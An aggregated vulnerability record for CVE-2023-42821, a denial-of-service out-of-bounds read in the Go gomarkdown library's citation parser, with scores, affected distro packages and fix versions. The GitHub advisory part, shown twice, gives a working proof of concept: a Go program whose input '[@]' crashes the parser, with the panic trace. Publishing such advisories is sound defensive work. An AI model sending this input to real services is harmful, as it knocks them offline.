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CVE-2023-42821

github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

7.5 HighFix available

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.25%Up 1.2 points since Sep 23, 2023
90%50%10%1%

What each source reports

CVE List Score used 7.5

github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
CVE-2023-42821
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
EUVDEUVD-2023-2549 7.5

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
EUVD-2023-2549
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-m9xq-6h2j-65r2 7.5

Markdown vulnerable to Out-of-bounds Read while parsing citations

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
	"github.com/gomarkdown/markdown"
	"github.com/gomarkdown/markdown/parser"
)

func main() {
	ext := parser.CommonExtensions |
		parser.Attributes |
		parser.OrderedListStart |
		parser.SuperSubscript |
		parser.Mmark
	p := parser.NewWithExtensions(ext)

	inp := []byte("[@]")
	markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
	/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Record
GHSA-m9xq-6h2j-65r2
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
NVD 7.5

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
CVE-2023-42821
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
OSVAZL-39828 7.5

CVE-2023-42821 affecting package cri-o for versions less than 1.21.7-2

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
AZL-39828
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSV 7.5

github.com/gomarkdown/markdown Out-of-bounds Read while parsing citations

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
CVE-2023-42821
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
Show 4 moreShow less
OSVDEBIAN-CVE-2023-42821 7.5

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
DEBIAN-CVE-2023-42821
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-m9xq-6h2j-65r2 7.5

Markdown vulnerable to Out-of-bounds Read while parsing citations

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
	"github.com/gomarkdown/markdown"
	"github.com/gomarkdown/markdown/parser"
)

func main() {
	ext := parser.CommonExtensions |
		parser.Attributes |
		parser.OrderedListStart |
		parser.SuperSubscript |
		parser.Mmark
	p := parser.NewWithExtensions(ext)

	inp := []byte("[@]")
	markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
	/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
	/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Record
GHSA-m9xq-6h2j-65r2
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-125
Updated
2026-11-02
OSVUBUNTU-CVE-2023-42821 7.5

The package github.com/gomarkdown/markdown is a Go library for parsing Markdown text and rendering as HTML. Prior to pseudoversion 0.0.0-20230922105210-14b16010c2ee, which corresponds with commit 14b16010c2ee7ff33a940a541d993bd043a88940, parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability. To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length. This can result in a denial of service. Commit 14b16010c2ee7ff33a940a541d993bd043a88940/pseudoversion 0.0.0-20230922105210-14b16010c2ee contains a patch for this issue.

Record
UBUNTU-CVE-2023-42821
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGO-2023-2074 No score

Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown

Parser out-of-bounds read caused by a malformed markdown input in github.com/gomarkdown/markdown

Record
GO-2023-2074
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/gomarkdown/markdown
Go
before 0.0.0-20230922105210-14b16010c2ee
0.0.0-20230922105210-14b16010c2ee
cri-o
Azure Linux:2
before 1.21.7-2
1.21.7-2
golang-github-gomarkdown-markdown
Debian:12
All versions, plus listed versions
0.0~git20220731.dcdaee8-20.0~git20231115.a660076-10.0~git20260725.8435af3-1
None known
golang-github-gomarkdown-markdown
Debian:13
before 0.0~git20231115.a660076-1
0.0~git20231115.a660076-1
golang-github-gomarkdown-markdown
Debian:14
before 0.0~git20231115.a660076-1
0.0~git20231115.a660076-1
golang-github-gomarkdown-markdown
Ubuntu:24.04:LTS
All versions, plus listed versions
0.0~git20220731.dcdaee8-20.0~git20231115.a660076-1
None known
golang-github-gomarkdown-markdown
Ubuntu:25.10
All versions, plus listed versions
0.0~git20231115.a660076-1
None known
golang-github-gomarkdown-markdown
Ubuntu:26.10
All versions, plus listed versions
0.0~git20231115.a660076-10.0~git20260725.8435af3-1
None known
golang-github-gomarkdown-markdown
Ubuntu:26.04:LTS
All versions, plus listed versions
0.0~git20231115.a660076-1
None known

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-42821 is a high vulnerability (CVSS 7.5) in Gomarkdown Markdown, published September 22, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.25%, the 69th percentile. Fixed in github.com/gomarkdown/markdown 0.0.0-20230922105210-14b16010c2ee.

References

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